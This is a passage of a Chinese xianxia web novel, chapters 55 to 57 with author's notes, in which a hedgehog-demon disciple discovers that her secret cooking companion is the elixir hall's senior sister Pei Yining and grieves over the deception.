小跟班每次都会提前准备食物,今晚定然是想像之前那样,却不想被灵丹堂的人发现了。 小刺猬下意识想跑,可抬爪时,想到这么多日的情分。 她牙一咬,不行,她不能这么抛下小跟班,大不了和小跟班一同被发现,然后被送到宗主那去。 快速制定完计划,小刺猬小心翼翼地爬上膳食堂的窗口,准备制造一场混乱,趁乱带着小跟班逃出去。 她确定方向,成团一滚,不想滚错了方向,身体悬空从桌子上摔下。 贴在身上隐匿气息的符纸飘落,膳食堂内一众人齐刷刷地看过来。 小刺猬眼皮一跳,想跑已经来不及,一名丹修将她禁锢在原地。 她被一名丹修捏着刺拎起,带到端坐在椅子上的女子面前:“裴师姐,是只呆呆的小刺猬。” 挣扎的小刺猬:“……” 什么叫呆呆的小刺猬,她不要面子的吗? 不对。 等等,裴师姐?她的偷吃伙伴?那个痴迷炼丹,久不露面的灵丹堂大师姐? 那个在她人形面前自称师姐的人,真的是她师姐啊。 小刺猬瞬间放弃了挣扎,大脑空白一片,耳边什么声音也听不见。 直到有人唤她的名字:“星星?” 她抬起头。 周围弟子散去,她被裴依宁捧在掌心,女人温声细语:“今夜我们吃什么?” 作者有话说: 裴师姐:今晚吃什么? 小刺猬:你还真是裴师姐啊 本章为6500营养液的二合一加更 第55章 第五十五章[VIP] 亮光不再是单纯的烛火, 小刺猬第一次进入到这么明亮,明亮到能将膳食堂每个角落都照得如此清晰。 可她的眼前不知不觉间蒙上一层浅浅的薄雾,模糊的视线撞入托举她的女人的眼中。 裴依宁心跳骤然间慢了数拍,而后是慌乱的加速跳动, 她无措地微张着唇, 向来游刃有余的人此刻连话都不知怎么说。 心脏在一点点紧缩,无形的遏制住她的喉咙。 被小刺猬撞破远远超出她原想的计划。 “星星, ”她声音暗哑, 凝着难以窥视的起伏,故作与平常无异地询问着掌心的小刺猬, “今夜我们吃什么?” “吃吃吃,”小刺猬含着细微的鼻音, “你就知道吃。” 她微垂下头,两只小爪子抚在肚子上,语气不自觉地弱下来,“吃我们第一次遇见时的药膳吧……” 裴依宁曲指想要点点小刺猬的额头,可终究只是弯弯唇, 应下:“好。” 眼前的身影开始忙碌, 药材清淡的香气填盈室内, 小刺猬茫然地环顾四周。 这个熟悉而又在此刻陌生无比的地方。 没有空间禁制, 房门大开, 不必担心随时会有人闯进来。 不远处的人端着热气升腾的药膳而回。 小刺猬往后挪动, 主动拿过碗筷,费力地拿起汤勺, 掀开炉盖, 为自己和裴依宁各盛一碗。 裴依宁原要接过她的勺柄,却被小刺猬轻松躲过。小刺猬唇边扬起一抹牵强的弧度:“你都照顾我这么久了, 今夜,我为你盛一次汤。” 裴依宁指骨绷紧,隐隐察觉到小刺猬未完的话语下藏着的是什么。 “星星。”裴依宁启唇。 “叮咚”。 汤勺与炉壁碰撞,叮叮作响,小刺猬收爪,捧着瓷白的碗,抓着专属的小勺子:“裴师姐手艺还是一如既往的好。” “裴师姐?”裴依宁舌尖抵住下齿间,无力感侵袭全身,“星星要和我这么生疏吗?” 小刺猬低着头,定定地凝视着碗中漂浮的一片青绿色:“那我该叫你什么,宁依吗?” 提及这个称呼,小刺猬眼睛更加湿润了,她呢喃自语地询问:“我到底该叫你裴师姐还是宁依。为什么我感觉好像怎么叫都不对。” 一张看不见的透明墙壁将她们隔绝成两个世界。求证的事情以另一种方式得到了答案。 可小刺猬一点都感觉不到得知答案的喜悦,只有无尽的悲凉和深深的被欺骗感。 她那么相信宁依,即使有所怀疑,也会找借口为宁依辩解。 到头来,不过是一场近乎可笑的笑话。 她捏着小勺子的爪子在发抖,脊背一阵阵发寒,滚烫的液体顺着脸颊的毛发一路向下滚动,滴入不断搅拌的小碗中。 小刺猬将头埋入碗中,咬紧后槽牙抵住不断而起的颤音:“我那么信任你,你是我入宗以来,最喜欢,最信任的人。” 每一句控诉字字扎在裴依宁的心口,再多的辩解不及此刻小刺猬声声质问,她拧着眉,痛苦地咬住下唇:“星星,我不是故意,我没想到会发展到现在这种局面。” “我可以解释的,”她指尖轻轻搭上小刺猬的下眼处,被小刺猬别头躲开。裴依宁眼眶也有点发红,嗓子似被棉花堵住,“我那时没想那么多,我怕告诉你真实名字和身份,你便不会在与我相见了。” “你真的很有趣,我不想因为我的身份,让你对我有所惧意。”裴依宁说着初见时的想法。 只是她无法控制后面情愫的产生,无法控制事情的走向,渐渐的,不知从何时开始,她不敢向小刺猬坦白。 当做足心理准备,将要坦白的时候,却在今夜被小刺猬提前撞破,打她一个措手不及。 “星星,”裴依宁舔了下唇,“我的身份,真的很重要吗?” “不重要。”小刺猬眼中泪光闪烁,“你的身份从来都不重要,但你跟我说的那些话呢?你说你是灵丹堂新入的弟子,你甚至为了欺骗我,叫灵丹堂内资质比你低的人师姐,一言一行,哪一样不是把我耍得团团转。” “你明明可以直接告诉我的,”小刺猬丢到勺子,头一次没有将碗中食物吃尽,她一步步后退,盯着裴依宁的眼睛,一字一句,清晰无比:“宁依,我现在好讨厌你。” 小刺猬说:“宁依,真的好讨厌你。” 裴依宁呼吸止息,所有的念想随着小刺猬的这句话落下帷幕。巨大的恐惧和失去所有的失重感将她包围。 身心发冷发凉。 “裴依宁。” 清丽的声音在裴依宁耳边炸起,她失魂落魄地抬起头,迎上高台上端坐的女人,回神似地躬身一礼:“宗主。” 明柏澜望着这位从不曾让自己操心的人,今日的状态明显不对,接二连三的失神:“依宁,本座刚才的话,你可听见。” 裴依宁拱手,摇头。 宗主殿堂内,其余三人齐齐望向她,一时间,殿堂内安静无声。 风浅念上前半步,弯腰:“宗主,前两日我和原师姐与依宁一同前往一处蓝灵遗迹,不曾想里面遗迹之主尚存,为求自保,依宁灵魂出体。许是受了损伤,还未适应过来。” 算是台阶,明柏澜重新看向裴依宁:“是这样吗?依宁。” 裴依宁咽了下喉咙:“是,宗主。” 明柏澜道:“既然这般,本次就到此为止,退下吧。” “是。”下首四人一同行礼。 出了宗主殿堂,风浅念叫住急欲离开的人:“依宁,你这两日遇到什么事了吗?” 她和原以诗昨日去灵丹堂找她时,对方的状态与今日无二般,失神严重。 她向来心思细腻,不难猜出:“和云师妹闹矛盾了?” 立于风浅念右手边的人闻言:“云师妹?” 几人都是自小长大的,风浅念征得裴依宁同意后,将裴依宁与云榆之间的事情大致说了遍:“差不多就是这样。”她顿了顿,“清凡,你有什么好办法吗?” 被点名的白清凡,是明柏澜座下唯一亲传弟子,裴依宁出关之时,她正与道侣云游四方,今日才碰上面。 那双常年冷静异常的眸子中闪过探究,片刻后,冷调的音色响起:“我未曾见过那位云师妹,但那位云师妹既是剑法阁的,想来是可以打探出一二的。” 白清凡当年出自剑法阁,后转入其它峰阁,但她的道侣至今仍旧是剑法阁的:“等我回去,让初静去打探一番那位云师妹的想法。” “罢了,”裴依宁婉言拒绝她的好意,苦笑着开口,“那又会是欺骗她,我不想这样了。” 风浅念欲言又止,到底是没再多劝。两人之间的感情,不是外人可以轻易插手的。 白清凡还有事,提前走了。 风浅念和原以诗陪着裴依宁从宗主殿堂走回灵丹堂。 升起的日头一点点坠落在她们身后。 直到站在灵丹堂的峰崖下方,裴依宁惊觉时间过去许久。线注复 她揉动眉角,两位好友仍旧陪在她的身边。 素来不愿麻烦她人的人,径直寻了处干净的地方坐下,视线追随缓慢下降,将层云尽数染得橙红的夕阳。 风浅念坐在她的身边,默默不语地陪她一同。 原以诗颀长的身形立于风浅念身侧,垂下的手臂自然搭在女人的肩上。 “浅念,你能帮我去看看她吗?”裴依宁忽而道。 “好……” “不可以。”风浅念未完的话被原以诗不留情面的拒绝,她按住风浅念的肩膀,半蹲而下,“浅念不方便,等会我去吧。” 裴依宁没精力留意其中的原因,道了声“谢”后,与两人告别。 待她走后,风浅念转眸望向替她拒绝的人,颇为好笑地问:“原师姐,不过是去看看云师妹,算不得大事,你怎么反应这么大?” 原以诗当然反应大,类似的事情,风浅念就曾经做过。 那时她在闭关,无法阻止,相同的事情再度发生,即使知道裴依宁和云榆不会影响到风浅念,可她还是会条件反射。 原以诗护住风浅念的双臂,眉心拧出一个小疙瘩,莫名来了句:“浅念,你太好了。” 风浅念怔愣住,瞬间明白了原以诗的意思,她微笑着抚上原以诗的手背,指腹缓而慢地摩挲,哄着她:“我对你不好吗?” 晚风佛面,风浅念大半面容被晕染成夕阳的暖色,一颦一笑宛如柔美的画幅,银白色的发丝都晃着明媚的光。 原以诗恍然觉得自己刚刚替风浅念拒绝的事情太过分了。 风浅念本就是很好,很有分寸感的人,无论是对待朋友还是宗门的师妹们。 她喜欢的也从来都是这样好的人。 原以诗松开她,额头相碰,一触即分:“你最好了。” 好到她贪心的想要更多,想要风浅念的目光为她一人停留,只对她一人这么好。 可这样,就不是风浅念。 原以诗止住不断上扬的念头。 风浅念被她的转变逗笑,她勾起原以诗的袖子,捏住袖角:“那走吧,去看看云师妹现在怎么样了。” “不能直接去吧,云师妹还不知道依宁知晓她的人形。” 两人的影子被拉得无限长,声音也从远方飘来。 “只是远距离看看云师妹的情况。” * 剑法阁内,云榆招招直击应滟防御薄弱处,逼得应滟步步后退,直至无路可退,被云榆剑指命门。 卞凝在一旁观战,她不久前与云榆比试时,对方也是这般,没有任何放水的地方。 比试结束,云榆抱拳:“承让了。” 应滟提提剑,抱着水壶灌了两口,云榆剑尖指上来的刹那,她真的有种下一秒就要殒命的错觉。 好在云榆收剑了。 “这就是黄灵的实力吗?”应滟艳羡道,“我在你手下三招都撑不住,太可怕了。” 卞凝接过她的水壶放到一边,端起一叠从外带回的糕点:“吃点补补?” 应滟不客气地拿过一块。 卞凝将糕点递到云榆面前,云榆笑笑:“我没胃口,不太想吃,你们吃吧。” 此言一出,应滟和卞凝不可思议地对视一眼。 怎么回事,云榆连平日里最喜欢的糕点都不吃了。 应滟小心翼翼地凑过去,拐了下云榆:“你最喜欢的口味,真的不尝尝看吗?过了这村可就没这店了。” 云榆笑:“真的不想吃。” 卞凝问:“是外出历练的途中发生什么事了吗?” 云榆道:“没有。” 看出好友的担心,云榆故作无事地拍拍两人,扬起调子:“怎么,省点给你们吃还不高兴啊,早说啊,下次我全抢了,”她伸了个懒腰,继续道,“就是这几日修炼太累,加之突破黄灵,还没完全适应,过阵子就好了,别担心。” 她半真半假地说。 应滟试探:“真的吗?” 云榆没好气地夺过她的糕点:“吃都堵不上你的嘴,别吃了。” “哎哎,我错了,我不问了还不行吗?糕点还我,我都咬一口了,你要吃自己问卞凝要。” 应滟作势要抢,被云榆两只手轮换着举高:“抢到就给你。” 她正常的像是个没事人,卞凝稍微放心,无奈地往着她们打闹,自顾自地拿起一枚糕点,含在口中化着。 故意让应滟抢回糕点,云榆背靠着墙壁,一只腿弯曲,抱着佩剑,闭目养神。 今日修炼结束,与应滟,卞凝说说笑笑地回到洞府后,伪装一整日的情绪在石门关闭的刹那间垮了下去。 她顺着石门蹲下,双膝环抱,头埋在双臂中,身体止不住地颤抖。 一墙之隔外,两道人影并肩而立。 风浅念和原以诗从云榆与应滟比试到云榆回到洞府,这期间一直隐匿气息守在远处。 “可看出什么?”风浅念温声问。 原以诗思考道:“她好似受到的影响不多。” 风浅念眸色复杂,这种情况与那对闹别扭简直一模一样,唯一的不同大概是,裴依宁和云师妹并非道侣。 有点难办。 一方认识,一方不熟。 风浅念道:“我去云师妹洞府内看看,你且在这等我。” 原以诗不愿,风浅念拉了下她,眼波流转间,她稀里糊涂地点下头。 再看去时,风浅念已然敲响了云榆的门。 三声沉闷的响声惊醒了蹲着的人,云榆慢慢地将头从手臂中挣脱出来,脸颊被闷得通红一片。 她撑着石门而起,缓了会:“谁?” 风浅念:“云师妹,是我。” 风师姐的音色她一听便知,对方这个时候来,莫不是因为她和裴依宁之间的事。 不对,风师姐应该不知道,毕竟她不曾以小刺猬形出现在对方面前,裴依宁也不知道她的人形。 唯有杜师姐因为洗髓之事知晓,但杜师姐不可能在没有得到她允许的情况下,将她妖族人的身份告知旁人。 简单思考过后,云榆用力扇风,缓解脸颊上的热度。 她打开石门:“风师姐,您怎么来了?” 后面没有旁人,云榆稍稍安心。 风浅念注意到云榆不正常的脸色,视线错开,宛如未曾发觉什么般,温柔的声线一如往昔:“我正好有事来剑法阁,偶然路过此处,想起前几日因有事与原师姐走得过早,还没来得及问你,当日遗迹内混乱,你在里突破,体内灵力可有不稳之处?” 原来是这个,只是因为这点小事就劳烦风师姐特意询问,她多有不好意思:“没有的,风师姐。” 风浅念笑道:“那便好,若有不适,可以和杜师妹说,”她顿了顿,“或者是去灵丹堂,外出几日,我见你与依宁相处融洽,也可去找她。” 云榆脸色一僵,但很快低下头去:“我与裴师姐不过点头之交,在外时,我资历浅,师姐对我多加照顾。我与她本属不同峰阁,回宗后,再因这点小事去找她,多有点不识好歹了。” 作者有话说: 来晚了,本章掉落50个小红包 第56章 第五十六章[VIP] 送走风师姐后, 云榆打起的精神萎靡下去,她合上石门,下了禁制,无意中往屋内一扫, 一道虚影浮在每每做食物之地, 再一眨眼,虚影消散。 不过是她的幻觉。 云榆脊背贴着石门, 温凉隔着衣衫往内蔓延。 点头之交, 她和裴依宁不过点头之交罢了。 如今小刺猬形断然不可能再去与宁依相见了。 不对,是裴依宁。 从来没有过宁依这个人。 云榆步履缓慢地走到床边, 满身的疲惫让她想倒头就睡,但精神意识出乎意料的活跃, 几乎将和裴依宁经历的所有事情都回忆个遍。 裴依宁在人形的她面前自称师姐,她原以为对方是在哄骗她,到头来,那时说的全然是真话。 是她太过于相信那个所谓的宁依的话了。 也对,怎么会有人假装师姐啊。 就她傻傻的那么认为。 云榆瘫至床上, 两膝卡在床沿, 没知觉地凝着上方一点, 似能盯出个洞来。 时光悄然流逝, 她就这般迷糊地睡了过去, 再度醒时, 已是月光皎洁,如雾如丝显现在几层薄云中。 脊背处温度不断升高, 那个位置云榆再清楚不过, 是那根刺的所在地。 她给裴依宁的那根刺还未收回。 裴依宁是想到她了吗? 她没有回应那头的心念,于是, 脊背处的热度落下,不过片刻钟,又一次升起。 一次又一次,不管她如何没回,那头的人都不厌烦地催动。 云榆空洞地感知脊背的热度,凉度,循环往复。 她有些不清楚此刻的情绪了。 困意被搅散,她撑床而起,与月色作伴,携清风而行,在剑法阁一处偏僻的羊肠小道中散步。 夜色沉静,足以很好的抚平错乱的心绪。 本以为会冷,但后背的热源持续不间断的供暖,云榆生出几分好笑。 她的刺还有这种作用。 道路尽头,汇至剑法阁的主路,再往前行至千米,便是峰崖处。 云榆想起幼年时,心情不好时,姐姐便会带她跑到一处不高的山崖边,拿着一根绳绑住她的身体,另一端拴在粗壮的树干处,带着她坐在崖边。 脚下空空如也,只低头望一眼,就觉可怕,但也无比的轻松惬意,烦恼都被可能的坠落感冲散。 后来她熟练了,会直接跳下去,被绳子吊在半空中,而后,被一脸苦色担忧的姐姐拽上去,经历一番无关痛痒的训斥。 但姐姐向来舍不得说她太严重,往往都是雷声大,雨点小,轻飘飘地带过去。 一回生,二回熟,三回四回不在意。 但现在,即使她再做那种危险的事情,姐姐也训斥不到她了。 脸颊痒痒的,云榆伸手,没接到水滴。 没有下雨。 她茫然地抚上脸颊,湿润点缀在指尖。 是眼睛下雨了。 冰冰冷冷的,视野都要没了,她跟着记忆中的路线,自空间储物中取出一根绳索,边走边往腰上绑。 峰崖边没有合适的树木,云榆以灵力定住绳索于地面,奋力往下一按。 稳固完,她学着没入宗前的模样,抽去发簪,恰有一阵风卷起散落的发丝,带着往后,头皮有种被拉扯的错觉。 她坐在峰崖边,双腿在半空中荡呀荡地。 后背那处又开始发热了。 云榆摸过去,在那处打着圈,凭空一抓,掌心合拢,白雾升起,有什么东西就此消散。 望着掌心升腾起的白雾,裴依宁摊开掌心,那根刺化为齑粉,被炼化般,归于虚无。 小刺猬隔空毁了这根刺。 裴依宁心陡然沉下,她定在剑法阁的峰崖下方,扬头,眼底流光转动,穿越无尽的高度,落在那处模糊的,但气息分明的人身上。 悬崖顶上的人化成了小刺猬,绑着她的绳索松松垮垮地系在腰间。 小刺猬重新系紧绳子,闭上眼睛,张开双臂,任由自己从高空坠落。 呼啸的风声自耳边刮过,直到绳索尽头,小刺猬悬在峰阁边缘。 曾经她被裴依宁绑着,也这么落下过。 又想到了这人,小刺猬强行掠过有关那人的想法,双爪抓紧绳子,下肢一蹬一蹬地往上爬。 月色下,小刺猬和那根绳索萧条而落寞。 同一轮月光不止照在攀爬的小刺猬身上,还照在负手而立,凝神望着小刺猬攀爬的人身上。 裴依宁在小刺猬坠落的瞬间,灵力织成透明的网状物,当看见小刺猬身上的那条自崖边延伸出的长线时,她乍然加快的心跳有了缓和的趋势。 “星星。”裴依宁握住空荡荡的掌心,那根消失的刺宛若扎在她的身上。 眉宇间的神色被崖下树枝垂下的阴影遮挡,细微的光线穿过层层叠叠的枝叶,在她额角添上零星的碎光。 裴依宁不自觉地起手指,视线中那团黑色的球形物回到了悬崖边,小小的身形像是墨点般。 几乎要看不见了。 星星怎么会那么小,小的她都要看不见了。 裴依宁想到那日遇见小刺猬与一白二白在一起时,小刺猬明显要比两只白毛刺猬小很多。 过往岁月中见到的小刺猬,也不曾有如星星那般小的。 “咻”。 小刺猬又一次落下,洗髓过的身体四肢强健,攀爬变得毫不费力。 再一次爬上峰崖,小刺猬解开腰上的绳索,收回固定的灵力,将绳索扔回空间储物中。 灵识在其中扫过时,她发现里面几乎没有宁依的痕迹了。 宁依做的食物都给了一白二白,唯独角落里,那瓶药瓶悄无声息地躲在其中。 是宁依炼制的一瓶丹药。 小刺猬自嘲地勾起唇角,她取出那瓶丹药。 那时宁依当着她的面炼制的,被她视若珍宝的丹药。 小刺猬盯着看了很久,久到深夜的气温更凉,她忍不住打了个寒颤。 “算了。”小刺猬终究是没有扔了它,重新放回空间储物中。 她变回人形,循着来时路往回走。 在她离开后不久,裴依宁隐匿气息和身形,出现在云榆最后停留的地位,驻足许久,直到云榆的身影彻底消失在感知中。 丹修敏锐的嗅觉让她嗅闻到空气中的丹香。 是那瓶丹药。 * 伴随着初晨的第一缕阳光,一夜未睡的云榆拍拍脸颊,揽镜而照。 她庆幸身为修炼者,一时的睡眠无足影响。 没有胃口吃东西,云榆在洞府前等卞凝和应滟二人,与两人一同前往修炼。 这几日恰逢剑法阁的考核,云榆和卞凝已经通过了考核,但修为略低些的应滟于今日考核,身为三人行好友,两人自当陪同一起。 应滟紧张兮兮地左手牵着卞凝的胳膊,右手擒着云榆的衣袖,字音都在发抖:“啊啊啊啊,为什么我是今天考核,我之前算的明明是明天才轮到我啊。” 考核前,应滟就到处乱窜,打听各种事宜,加之云榆和卞凝的考核日期被她猜到。 对于自己的,她更是手拿把掐,可不料,昨日刚回洞府不久就收到杜师姐的临时通知。 让她今日考核。 剑法阁的考核向来是突击型的,即只告知考核于哪日开始,具体对应的人,则是前一晚才通知。 应滟挂着黑眼圈,肩头耸起,擦擦脸:“昨晚紧张到一夜未睡,你看看我这眼睛,一点朝气都没了。” 卞凝安慰她:“别担心,考核不难,就是入宗以来学的基础内容,都能过。” 应滟鬼哭狼嚎:“你站着说话不要疼,你过了你当然说简单。” 卞凝无奈。 云榆被她牵着,神经本就保持紧绷敏感,应滟冒然提起的音量在她耳边炸开,她不由得捂住左耳,忍着难受道:“别担心,我和卞凝就在你不远处,你紧张了看看我们便是。考核的师姐还是杜师姐她们,她们对我们知根知底,不会放我们不过的,你安心根据提及的内容即可,都能过。” 应滟五官拧巴在一起:“希望吧。” 云榆笑了笑,没再多说。 刚到地方,应滟火急火燎地去寻今日一同考核的人,低语交流。 云榆和卞凝坐在应滟视野范围内。 云榆不受控制地开始神游。 那根刺消散时,裴依宁会是何种姿态,何种心情,会不会难过…… 她难不难过与自己有什么关系。 云榆用力摇头,与她无关。 待她视线落入考核场地时,应滟正兴冲冲地抱着佩剑往外跑。 “我过了!!!”应滟激动大叫,声震引得附近同门皆是看过来。 卞凝提剑,剑鞘虚虚附在应滟的小腹处,随着后者的靠近,滑到她的左肩。 卞凝转动手腕,剑鞘随之转动,将应滟阻隔在她一米外,她半扬着头:“别那么激动,丢人。” 应滟:“……哦。” 她坐回到云榆身侧,自然地挽住云榆:“呜呜呜,小榆榆,卞凝嫌弃我丢人,她竟然嫌弃我丢人。” 云榆不动声色地将佩剑换了只手拿,顺势抽回被应滟抱住的手臂,笑道:“别乱叫,什么小榆榆,”她拉长了声音,有了鲜活的气息,“你方才确有几分跌面。” “……”应滟,“我憎恨你们。” 云榆笑而不接话,她目光一错,一抹浅蓝色的衣衫晃入眼中。 裴依宁竟出现在了剑法阁中,在她的身边,杜寻雁低低地说着什么,不时抬头往她的方向看一眼。 裴依宁则是全程望着她。 一股不好的预感指直脑门。 杜师姐是把她卖了吗? 她下意识起身要逃离。 然,不待有所动作,身侧的应滟“咦”了声,探头探脑地往前伸,一息后,惊艳道:“那人的气质好出众,她是阁内的哪位师姐吗?我以前怎么没见过。” 卞凝接上话:“听闻有几位云游的师姐归来,不知是不是这位。” 云榆没精力插入她们的话题,凡是有关那女人的话题和世界,她都想逃离。 偏偏应滟拉着她,问:“榆木,你见过没?” 她怎么可能没见过,就差日日夜夜见了。 提线木偶般,硬邦邦地一点头:“见过吧。” “见过……吧?”应滟疑惑地看着她,但很快注意力就被吸引,她手肘拐住云榆,压低音量,语气中难掩惊讶,“她和杜师姐往我们这来了。” 云榆坐立不安,心跳砰砰撞击心口,无数的念头交织而起,逃与不逃之间划出一道泾渭分明的线,来回拉扯。 来不及逃了,裴依宁已经来到了她面前。 云榆被抽调全身的气力,殃殃地被应滟拖拽起。 “云师妹,这位是灵丹堂的裴师姐,那日与你一同出宗的。”杜寻雁介绍道,“你们应该认识。” 大庭广众之下,裴依宁过来找她,是拿准了她不会在众人面前给她难堪吗? 顾不了应滟和卞凝探索的眼神,云榆扯下唇:“裴师姐好。” 裴依宁微微颔首,视线不经意间掠过方才她被应滟抱过的左臂和几乎贴到卞凝的右侧身体。 杜寻雁道:“裴师姐过来为你们检查灵脉可有问题,我这边还有考核任务在。云榆,你与裴师姐有过相处,带裴师姐记录各位同门灵脉的任务就交给你了。” 只是这样吗? 云榆不确定地传音给杜寻雁:【杜师姐,你方才有跟裴师姐说我是妖族人的事吗?】 杜寻雁很快传音:【我说这个做什么?】 云榆:【没事,暂时不想让太多人知晓。】 看来杜师姐没有告诉裴依宁这件事,那么裴依宁就不知道这是她本体的人形。 细数之前用人形和裴依宁相处,她都恭恭敬敬地叫了师姐。 没想到当初因玩闹念头喊的师姐,很好地隐瞒了她的人形。 那杜师姐让她陪同裴依宁记录同门灵脉之事,大概率也是因为她和裴依宁一同出宗前往遗迹历练,彼此略熟的原因。 她按下不情愿和悸动:“好的,我一定完成杜师姐交给我的任务。” 不过,这种小事还需裴师姐亲力亲为吗? 可真是尽职尽责啊。 云榆恨恨地想着。 “辛苦云师妹了。”裴依宁语气和缓,“那便先从云师妹开始吧。” 云榆伸出手臂:“劳烦裴师姐了。” 裴依宁两指按在云榆的手臂处,隔着衣衫,温和的灵力注入她的体内,在四肢百骸中游走往返:“云师妹,灵脉正常。” 云榆取出纸笔,记录在册。 其后便是应滟与卞凝二人,因着就在这,裴依宁一并检查了。 皆是正常。 随着一个个新入宗的同门检测完毕,云榆捏着毛笔在纸上记录下最后一个人的情况。 “师姐,都在这了。”云榆不卑不亢,语气冷硬无起伏。 裴依宁接过一看,收起纸页:“都无问题。” 云榆欲要转身离开,裴依宁却是叫住她:“云师妹。” 云榆扭头:“师姐还有事吗?” 裴依宁指腹紧紧捏着纸页一角,面上云淡风轻之色:“云师妹,我观你眼下微青,昨夜未睡好吗?我这有助眠的丹药,可予你一些。” 作者有话说: 裴师姐:昨晚未睡好吗? 小刺猬:与你无关 来晚了,跪趴 本章依旧掉落50个小红包 第57章 第五十七章[VIP] 浅淡的药香如影随形, 云榆只觉得一呼一吸间尽是这种气息。 裴依宁身上的气息。 云榆屏住呼吸,自觉屏蔽外界的打扰:“多谢师姐,只是昨晚因事睡得稍晚,无需丹药这种珍贵的东西, 待到完成杜师姐交给我的任务后, 我便回去休息。” 她长睫闪动,浓密的睫毛在下眼睑处落下浅薄的阴影, 挡住些许乌青之色:“裴师姐可还有其它吩咐, 若是无事,师妹就先行告退了。” 她话语中难免有忍不住的夹枪带棍, 语气也与平日与众位师姐交谈时不同。 应滟素来大大咧咧习惯了。可卞凝心细如丝,隐约觉察出几分不对, 她悄悄扫过对峙而立的两人。 细勘之下,又一切如常。 许是云榆真的累了,一时忘了礼数。 裴依宁面容平和,垂目,纸页在指腹中消失:“无事了, 师妹早些回去休息吧, 别伤身……伤神。” 云榆:“多谢师姐关心。” 应滟和卞凝一一与裴依宁告别。 待到走了几步, 应滟依旧难掩惊叹之色, 压着声音感慨:“那就是裴师姐啊, 据说丹术超绝。”她拐住云榆肩膀, “不对啊,我突然想起, 我们之前与她有过一面之缘。” 经她这么一提, 卞凝想到了那面之缘为何时。 云榆脸皮绷着,唇近乎抿成一条平直的线, 亦是想了起来。 是应滟因用铁剑时练剑不当,导致手部受伤,她和卞凝陪着一同去灵丹堂一座殿宇中,正欲回时,转头撞见不知何时位于她们身后的裴依宁。 纳兰师姐。 裴依宁那时便是这么称呼纳兰然的,怪不得当时纳兰师姐表情那般怪异。 身份互换,她被资历高的师姐那般叫,表情恐怕也是精彩。 真是难为裴大师姐了。 云榆阴阳怪气地吐槽。 手臂又被拐了下,云榆下意识偏头,应滟的脸在瞳孔中无限放大。 云榆惊得猛地脚步一顿:“你做什么?” 应滟凑近的脸缩回,奇奇怪怪地看她:“我怎么感觉你一路都在念念有词,可认真听,什么都听不见。” 云榆侧身穿过她:“什么念念有词。” 应滟寻着话头,好半晌才欲言又止地说:“感觉你在骂人,而且骂得很严重。” 云榆:“……瞎说什么呢?我没有。” 应滟挠挠头,求助地望向卞凝,卞凝迟疑几分,赞同应滟的观点:“我也觉得,你是不是有心事?” 云榆:“……” 就这么明显吗?这么轻松就被两人看穿了。 万不能承认的。 云榆耸肩,一副无事发生的模样:“我能有什么心事,”她转移话题,眼尖地发现前往后山阁的小道,手一指,对着好友挤挤眼,“走不走,杜师姐还在考核地,灵桃树那边应是无人守的状态。” 应滟当即被吸引过去,一左一右勾住两人的臂弯,急冲冲地往前跑。 灵桃树下,云榆接住一枚枚自上空而落的桃,应滟一手摘一个,兴致勃勃地往下扔。 卞凝守在另一处防止突然有人来。 三人配合下,倒是无事发生。 顺着溪流往前走了一炷香的时间,三人不客气地坐在草地上。 云榆捧着桃,有一下没一下地咬上一口,有一搭没一搭地接住好友的话。 约莫坐了半柱香的功夫,云榆觉得累了,直挺挺地躺下去,手臂弯曲,枕在臂弯处。 “哎,云榆,你家是哪里的?” 话题不知怎么地聊到了家里的情况,云榆“啊”了声,弯唇道:“我家离宗门挺远的,”她半真半假地道,“要知道,我当初为了赶上宗门的入宗测试,提前数个月从家动身,历经千辛万苦,才是抵达。” 她唇角笑容明媚,此话一听就像是胡编乱造的,应滟没好气地推下她支起的腿:“编故事呢?” 云榆笑道:“看我这么艰辛的份上,让让我吧。” 应滟和卞凝又聊上了别的话题,等提到云榆时,云榆才会回应两句。 以往云榆即使不是那么感兴趣,也会参与感极强地与她们闲聊,今日不怎么插话,想来是累狠了。 应滟和卞凝传了个眼神,两人小心翼翼地在云榆身上盖了件薄毯,安静下来。 这一觉云榆睡得并不安稳,梦中闪过无数碎片,快得让她不知道该抓住哪一块碎片。 全都是关于姐姐的。 “星星,姐姐做了你喜欢的酥饼,尝尝好不好吃。” “星星乖,姐姐出去一趟,很快就会回来。” “……” “星星,姐姐有事耽误了,星星会照顾好自己的,对吗?” “星星……” 无尽的话语与胡乱的场景交替转变,云榆感觉身体在一层层地下坠。 “妖族的,还是一只小刺猬。” 她背着小包裹,快速地在泥泞地道路中蹿动,阴沉昏暗的天,密布的云层,雷电在云层中翻滚,集聚力量。 在某个时刻,天地阴沉骇人,骤然间,一声巨响,世界短暂地亮了一瞬。 她脸上的毛发满是污渍,身后跟着的人步步紧逼。 又是一道巨雷落下,她小小的身体形成抛物线,重重掉落在地。 包裹从背上摔落,散开,里面藏着的玉米粒融入污水中。 小刺猬顾不得四肢百骸的疼痛,蠕动爬行,爪子补救地敛起四散的玉米粒。 可都脏了,陷入泥地中,她怎么抠都抠不出来。 “我就说这些天怎么一直少东西,原来是有小偷啊。”那人捏起她短小到难以看见的尾巴,狞笑着往回带。 “不是的,是我帮你打扫换回来的。”小刺猬急急为自己辩解。 只是她化形不稳,临走前当着这人的面化回了本体,那人便对她喊打喊杀,将以往丢失的粮食算在她头上。 她仓促间只背上一只小包裹,却还是被抓住,什么都没有。 她最后是被旁户人家的小女孩换回来的。那小女孩在她娘亲面前撒个娇,用粮食护下了她。 “他就是故意骗你免费当劳动力的。”小女孩给她洗个热水澡,又给她重新收拾个小包裹,带上满满的食物,“我都听见了,他在外得意地说,早知道你是化形不稳的妖,就等你恢复本体,好不给你酬劳。” “笨蛋小刺猬,以后别那么傻乎乎的了。”小女孩如是对她说。 画面再一转,她身处于妖族之中。姐姐离开后,她习惯了一个人生活,与隔壁洞府的兔子日渐相熟。 “她啊,天真的要命,我可是兔子,她一个刺猬,我们怎么可能是朋友啊。天天无聊要命,逗她玩玩,谁知道她当真了。”她视为好友的兔子笑嘻嘻地和一只松鼠说起这事。 而彼时,小刺猬刚用劳动从妖王那换回一根胡萝卜,满心欢喜地去找兔子,在兔子洞府前,听见兔子洋洋得意的话:“她傻得可爱,哈哈哈。” 身体继续下坠,每一次的坠落都是毫无保留的信任。 “都是骗子,”云榆梦呓地重复,“全都是骗子。” 一阵风起,云榆剧烈哆嗦起来,她猛地坐起身,眼睛直勾勾地盯着身前一点。 空洞不聚焦的凝视。 薄毯滑落,堆叠在小腹处,云榆胸腔起伏震动不已,脸皮发麻,似乎不是她的脸的。 她双手拍拍脸颊,还是热得厉害。 